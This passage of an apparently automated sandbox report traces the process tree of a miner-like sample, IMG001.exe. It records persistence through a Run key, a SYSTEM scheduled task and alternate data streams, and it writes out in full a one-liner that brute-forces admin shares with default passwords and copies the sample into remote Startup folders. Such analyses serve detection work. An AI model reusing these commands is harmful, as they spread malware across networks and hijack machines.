      net use \\10.127.0.1\C$ "123" /user:"administrator"
      4⤵
      PID:3968
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "123" /user:"administrator"
      4⤵
      PID:3088
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:1600
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "administrator" /user:"administrator"
      4⤵
      PID:4820
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "administrator" /user:"administrator"
      4⤵
      PID:3764
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5452
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "1609" /user:"administrator"
      4⤵
      PID:5672

C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001.exe
"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:512
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4440
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im tftp.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4120
- C:\Users\Admin\AppData\Local\Temp\tftp.exe
  "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
  2⤵
  - Executes dropped EXE
  PID:2680
- C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
  "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Enumerates connected drives
  - NTFS ADS
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4004
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tftp.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4592
- - C:\Users\Admin\AppData\Local\Temp\tftp.exe
    "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
    3⤵
    - Executes dropped EXE
    PID:4700
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
    3⤵
    PID:4568
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
      4⤵
      PID:3384
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
    3⤵
    PID:3052
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
      4⤵
      Creates scheduled task(s)
      PID:3984
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
    3⤵
    PID:432
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:4308
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
    3⤵
    PID:1932
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /CHANGE -standby-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4456
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /CHANGE -hibernate-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1704
  - - C:\Windows\SysWOW64\powercfg.exe
      Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:408
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\\" ^|^| @arp -a^|find /i " 1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=1709& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \\!s! & (for /f "usebackq tokens=1" %j in (`net view \\!s!^|find /i " "`) do @echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\!s!\%j\!f!" 1>nul && @echo copy to "\\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\\!s!\C$ \\!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))
    3⤵
    - NTFS ADS
    PID:2468
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c @net view|find /i "\\" || @arp -a|find /i " 1"
      4⤵
      PID:2464
    - - C:\Windows\SysWOW64\net.exe
        
        net view
        5⤵
        Discovers systems in the same network
        
        PID:2392
    - - C:\Windows\SysWOW64\find.exe
        
        find /i "\\"
        5⤵
        
        PID:5088
    - - C:\Windows\SysWOW64\ARP.EXE
        
        arp -a
        5⤵
        
        PID:5216
    - - C:\Windows\SysWOW64\find.exe
        
        find /i " 1"
        5⤵
        
        PID:5224
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c set str_
      4⤵
      PID:5248
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net view \\10.127.0.1|find /i " "
      4⤵
      PID:5264
    - - C:\Windows\SysWOW64\net.exe
        
        net view \\10.127.0.1
        5⤵
        Discovers systems in the same network
        
        PID:5280
    - - C:\Windows\SysWOW64\find.exe
        
        find /i " "
        5⤵
        
        PID:5288
  - - C:\Windows\SysWOW64\net.exe
      net use * /delete /y
      4⤵
      PID:3508
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:1568
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4120
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4192
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:5928
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:2204
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5776
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:3704
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4804
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4916
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:5160
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5208
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5204
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:4988
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:3176
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4960
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:5024
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:1852
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:1536
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4456
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:2456
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4400
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:5544
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4728
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:2432
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:3780
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4008
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:2604
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4576
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4892
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5688
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:3744
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4964
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5300
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:5272
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4968
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\1\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\C$\1\IMG001.exe" "
      4⤵
      PID:532
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\C$\1\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:1932
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ /delete /y
      4⤵
      PID:4484
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 20 localhost
      4⤵
      PID:2944
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5016
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4772
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5640
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:3900
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4872
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:1988
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:880
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:3284
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5276
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5848
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4328
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:1748
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5976
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:544
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4808
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4972
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:2096
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:1800
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5176
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5140
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5192
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:1628
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:2392
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:1976
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5724
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:3280
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:3692
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5408
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:2520
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5476
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5524
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5516
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\Windows\All Users\Start menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5380
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:2980
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\1\IMG001.exe" 1>nul && @ echo copy to "\\10.127.0.1\Users\1\IMG001.exe" "
      4⤵
      PID:5632
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.0.1\Users\1\IMG001.exe"
        5⤵
        
